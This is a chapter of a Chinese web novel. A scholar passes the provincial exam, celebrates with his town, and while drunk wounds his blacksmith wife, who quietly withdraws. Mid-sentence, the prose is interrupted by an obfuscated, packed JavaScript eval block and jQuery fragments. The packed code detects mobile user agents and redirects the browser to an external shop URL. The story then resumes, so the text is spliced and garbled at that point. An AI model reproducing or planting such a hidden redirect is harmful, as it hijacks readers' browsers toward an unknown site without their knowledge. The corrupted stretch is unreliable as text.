那封报喜的帖子送到青石镇的时候，天还没亮透。
衙役骑着快马从镇东官道奔进来，马蹄踏碎了晨雾，一路敲着铜锣喊"周家老爷中举了——周家老爷中举了——"，铜锣声在寂静的巷子里撞来撞去，把半条街的狗都吵醒了。
周砚书是被锣声惊醒的。他猛地从床上坐起来，被子滑下去，初冬的寒气一下子扑在胸口上。他愣了两息才反应过来那锣声喊的是什么，整个人像被抽了一鞭子似的弹起来，光着脚就往外跑。
宋云铮比他醒得还早一瞬，已经在院子里打开了院门。衙役满面红光地站在门口，手里举着那张盖了大红官印的喜帖，高声念了一遍中举的名录，念到"青石镇周砚书"几个字时连唾沫星子都喷出来了。
周砚书冲到门口的时候光着脚穿着中衣，头发散着，脸色煞白。他接过喜帖的时候手指头都在抖，翻开看了三遍才确信那个名字真是他。
"中了……"他喃喃了一句，声音轻得像怕惊散了什么，"我真的中了。"
宋云铮站在他身旁，手里还攥着方才开院门时顺手拿的门闩。她看着周砚书捧着喜帖满脸难以置信的样子，嘴角弯了一个很浅的弧度，转头对衙役说："辛苦了，进来喝碗热茶再走。"
衙役摆摆手说还要去别处报喜，翻身上马又跑远了。周砚书站在院门口，晨光把他穿着中衣的身影拉成一道细长的影子，他手里的喜帖被风吹得哗啦响，纸角翻上来遮住了他的半张脸。
宋云铮走过去把院门带上，伸手把他手里的喜帖抽过来仔细收好，说："进屋穿衣裳吧，外头冷。今天有的忙了。"
周砚书被她这一句话拉回了神，终于后知后觉地笑出来。那笑容从他嘴角漾开一直漫到眼底，他忽然一把把宋云铮抱住了，胳膊箍得死紧，下巴搁在她肩膀上，声音闷闷的带着颤："云铮，我中了。我真的中了。"
宋云铮被他抱得身形一晃，站定了之后抬手在他后背上拍了拍，掌心的力道不重不轻，像拍一只兴奋过头的狗。
"知道了。放开吧，我去烧水。"
周砚书松开她，脸上还挂着笑，眼眶却已经湿了。宋云铮转身进了厨房，背影在晨光里被勾了一道暖融融的金边。周砚书站在院子里看着那个背影，忽然觉得她今天看起来格外顺眼。
消息传得飞快。半天的工夫全镇都知道了周家出了个举人老爷，镇上那些从前跟周家不太来往的人家纷纷上门道贺，提鸡的提鸡、拎蛋的拎蛋、拿红纸包了铜板的也有，一时间周家院门被踏得门槛都矮了一截。
宋云铮从早上就开始忙。她烧热水沏茶、摆凳子招待来客、收礼登簿子、还得应付那些七大姑八大姨拉着她的手说"云铮你可算熬出头了以后就是举人娘子了"之类的客套话。她应对得不算热情但也不失礼，该说的"多谢""有心了""吃茶吃茶"一句没少，只是说完了就继续忙手里的活，不跟人多寒暄。
周砚书换了体面的靛青袍子坐在堂屋里，跟来客们应酬说笑。这一天他脸上的笑就没停过，跟镇上的里正喝茶、跟县学来的同窗叙旧、跟那些从前连正眼都不瞧他的乡绅们拱手作揖。人人都笑眯眯地喊他"周举人"，这个称呼像一坛陈年的酒，从他耳朵里灌进去，暖得他整个人都蓬松了起来。
到了傍晚客散了，宋云铮把堂屋收拾干净，又把收来的礼登记了一遍。鸡鸭鹅都关进了后院临时搭的棚子里，鸡蛋码了一篮子搁在厨房角落，红纸包的铜板和碎银子她数了数，用布包好放进了柜子里。
"明天去买几块好料子，给你做身新衣裳。"她说，"举人老爷了，出门不能太寒碜。"
周砚书坐在桌边，喝了一天的茶早喝饱了，但看着宋云铮忙前忙后的背影，忽然生出一种说不清的愧疚来。他站起来走到她身后，说："你也歇歇，一天都没停。"
宋云铮把最后一摞碗碟码进碗柜，拍了拍手上的水："还有一桌酒菜没做。明儿中午要请几个要紧的客，得准备起来。你去把院子里的鸡杀一只，明早炖汤用。"
周砚书张了张嘴，想说"我不会杀鸡"，可看着她那双忙了一天也没歇过的手，这话到底没出口。他硬着头皮去了后院，对着那只还在扑腾的大公鸡发了半天的呆，最后是宋云铮出来替他收拾了残局——一刀下去干净利落，血放得又快又准，拔毛、开膛、洗净，前后不到一炷香的工夫。
周砚书站在旁边看着，手里攥着那只死鸡的脚踝骨，余温透过皮肉传到他指尖上，让他打了个寒噤。
那天夜里两个人躺在床上，周砚书翻来覆去睡不着，终于开口说了一句："云铮。"
"嗯。"
"等以后我做了官，你就不用这么辛苦了。"
宋云铮那边安静了一会儿，然后说："以后的事以后再说。你先睡觉，明天还有客。"
周砚书闭上了眼。他想再说什么，可她那边呼吸已经匀了。他侧过脸在黑暗里看着她模糊的轮廓，心里翻涌着许多说不清道不明的情绪，最后自己拧成了一团，沉进了梦里。
第二天中午的酒席办得热闹。
宋云铮一早起来就进了厨房，炖了鸡汤、蒸了鱼、炒了四个热菜两个凉碟，又蒸了一笼馒头。她忙得脚不沾地，脸上被灶火熏得发红，围裙上溅了油点子也顾不上擦。
客人们陆续来了——镇上的里正、县学里跟周砚书走得近的两个同窗、还有镇上绸缎庄的老板李掌柜，都是些有头有脸的人物。他们坐在堂屋里喝茶闲聊，周砚书陪着说话，屋里笑声不断。
宋云铮端着菜进进出出，每回进来客人们都客气地起身让座招呼她"嫂子辛苦了"，她便笑笑说"诸位先坐，菜马上就好"，然后把碟子搁下又回了厨房。
酒过三巡菜过五味，里正端了杯酒站起来敬周砚书："周举人，青石镇多少年没出过举人了，你可是咱们镇的荣光啊！来来来，满饮此杯！"
周砚书站起来接过杯子，仰头干了。里正又给他倒满，说再敬一杯。同窗们也跟着起哄，你一杯我一杯地灌，周砚书来者不拒，喝到后来脸开始泛红，说话也带上了酒气。
宋云铮端了最后一道汤进来的时候，看见周砚书已经站不太稳了，一只手撑着桌沿，另一只手端着杯子跟人碰，脸上的笑浮着，底下隐约透出点恍惚的神色。
她把汤搁在桌上，走到周砚书身边低声道："你少喝点。"
周砚书偏头看她，喝了酒的眼睛里头红血丝横着，目光有点漂。他冲她笑了一下，摆摆手说："没事，今儿高兴。"
宋云铮退回去了。
散席的时候客人们都喝得满面红光，周砚书扶着门框送客，送完最后一个转身的时候脚下一绊差点栽倒，宋云铮从后面眼疾手快扶住了他的胳膊。他整个人沉甸甸地靠过来，酒气混着荤菜的油腥味儿扑了她满脸。
"扶你进去躺着。"她说。
周砚书被她半拖半搀进了卧房，倒在床上之后就开始扯自己的衣领，嘟嘟囔囔说热。宋云铮替他脱了靴子和外袍，扯过被子盖了盖，又去厨房烧了壶热水放在床头。
她想出去收拾桌子，周砚书忽然伸手攥住了她的手腕。
那只手滚烫的，指腹上全是汗。宋云铮被他拽住，站着没动。
周砚书半闭着眼躺在床上，脸颊酡红，嘴唇被酒浸得油亮亮的。他攥着她的手腕往自己这边拽了拽，含糊不清地说："云铮……你坐会儿……别走……"
宋云铮在床沿坐下了。
周砚书攥着她的手腕不松开，拇指无意识地在她的手背上摩挲着，摩挲过那些粗粝的茧子和旧疤。他闭着眼，眉头皱着又松开，松开了又皱上，脸上带着酒后的潮红和某种迷茫的神色。
宋云铮没有说话，就那么安静坐着，任他攥着自己的手。
过了很久，周砚书忽然说了一句："我娘要是还在就好了……"
他的声音轻得像梦呓，带着酒气洇出来的酸涩。宋云铮看见他眼角沁出了一点湿润的光，在昏暗的光线里闪了闪，沿着脸颊的弧度淌了下去。
"我娘从前说我以后一定有大出息……"周砚书的声音断断续续的，像被酒泡软了的线，一扯就断，"她给我簪子的时候说……说以后留着给媳妇……她说我媳妇一定是个好姑娘……"
宋
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17834931|211396||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
云铮被他攥着的手微微动了一下。
周砚书睁开眼，醉醺醺的目光在昏暗里找了一会儿才落到她脸上。他看着她黧黑的脸、粗硬的轮廓、手上那层怎么也磨不掉的老茧，眼神慢慢变了一点点，像蒙了一层灰的琉璃。
"云铮……"他喊她的名字，舌头有点大，"你……你怎么跟我想的不太一样呢……"
宋云铮把手从他掌心里抽出来了。
她站起来，居高临下地看着他。昏暗里她黧黑的面庞绷得很紧，嘴角抿成一条直线，眼底有什么东西在动，但很快又被压了下去，压成了一潭死水。
"你喝多了。"她说，"睡吧。"
她转身走出了卧房，门轻轻带上。外面传来她收拾碗碟的声响——碗碰着碗、碟子碰着碟子、筷子哗啦啦散进水槽里，都是些寻常的响动，跟往常没什么分别。
周砚书躺在床上，脑子被酒泡得晕乎乎的，那句话说完了他自己都没太记住。他翻了个身，把脸埋进枕头里，很快就睡着了。
半夜他醒来过一次。屋里漆黑一片，他口干舌燥挣扎着起来摸到床头那碗水灌了两口，发现身边那半边床是空的。
宋云铮没回来睡。
他靠着床头坐了一会儿，听着院子里的动静。铁铺方向安安静静的，没有锤声，只有夜风从窗缝里挤进来呜呜地响。他端起碗把剩下的水也喝了，打了个酒嗝，又倒下去睡了过去。
第二天早上他醒来的时候头疼得像被人拿锤子敲过。他龇牙咧嘴坐起来，看见床头摆了一碗醒酒汤，还冒着微微的热气。
他端起来喝了一口，酸酸辣辣的，胃里舒服了些。喝完了他掀开被子下床，发现昨晚的衣裳已经被叠好了放在椅背上，靴子摆得整整齐齐在床脚。
他换好衣裳出了卧房，院子里安安静静，灶台上搁着热粥和咸菜，宋云铮不在。
隔壁小打铁间的门虚掩着，锤声从门缝里传出来，叮叮当当的，跟往常一样。
周砚书端着粥碗在院子里站了一会儿。初冬的太阳薄薄地照下来，把他和院墙的影子都拉得细长，他低头看着自己碗里的白粥，蒸腾起来的热气扑在脸上，带着一股子米香。
他想起昨晚喝酒的事，记忆断断续续的，像打碎的瓷器拼不全。他只隐约记得自己攥着宋云铮的手说了些什么，可具体说了什么，脑子里一片混沌。
他端着粥碗走到铁铺门口，推开门探头进去。
宋云铮正蹲在炉子前面添炭，火光映着她的侧脸，她听见脚步声偏头看了他一眼，目光从他脸上移到手里的粥碗上，然后移开了。
"粥喝了？"她问。
"喝了。"
"嗯。"
她转回去继续添炭，没有问他昨晚的事，也没有提他说的那些话。好像那个酒后吐真言的夜晚压根没存在过，翻过去就被她团成一团扔进了炉膛里烧化了。
周砚书站在门口，粥碗里的热气还在往上冒。他想问她昨晚他说了什么，可张了张嘴，到底没问出口。
他又站了片刻，然后端着碗回了院子，在石桌边坐下来把粥喝完了。
那天剩下的时间宋云铮都在铁铺里。周砚书在书房里翻了一下午书，翻了十几页一个字都没看进去，脑子里反复浮着昨晚一些零零碎碎的片段。
他攥着宋云铮的手说"我娘要是还在就好了"。
他说"你跟我怎么不太一样呢"。
他当时说话时那个表情他记不清了，但他记得宋云铮把手抽走时的那一下——干脆的、利落的，像她抡锤子砸铁料时收锤的那一下。
周砚书把书合上了。
他不知道那句话会不会伤人。可如今人已经伤了，伤完了她自己收拾了伤口回到铁铺里继续打她的铁，既没有问他酒后说了什么，也没有借此发作一场。
她就当什么都没发生过。
那种被轻轻放过却又像被重重锤了一下的滋味，在周砚书心口里生了根。从那天之后，他看见宋云铮在铁铺里抡锤子时，总觉得那锤声比从前更沉了些。
砸在他耳膜上，一下一下，闷闷的，怎么也躲不开。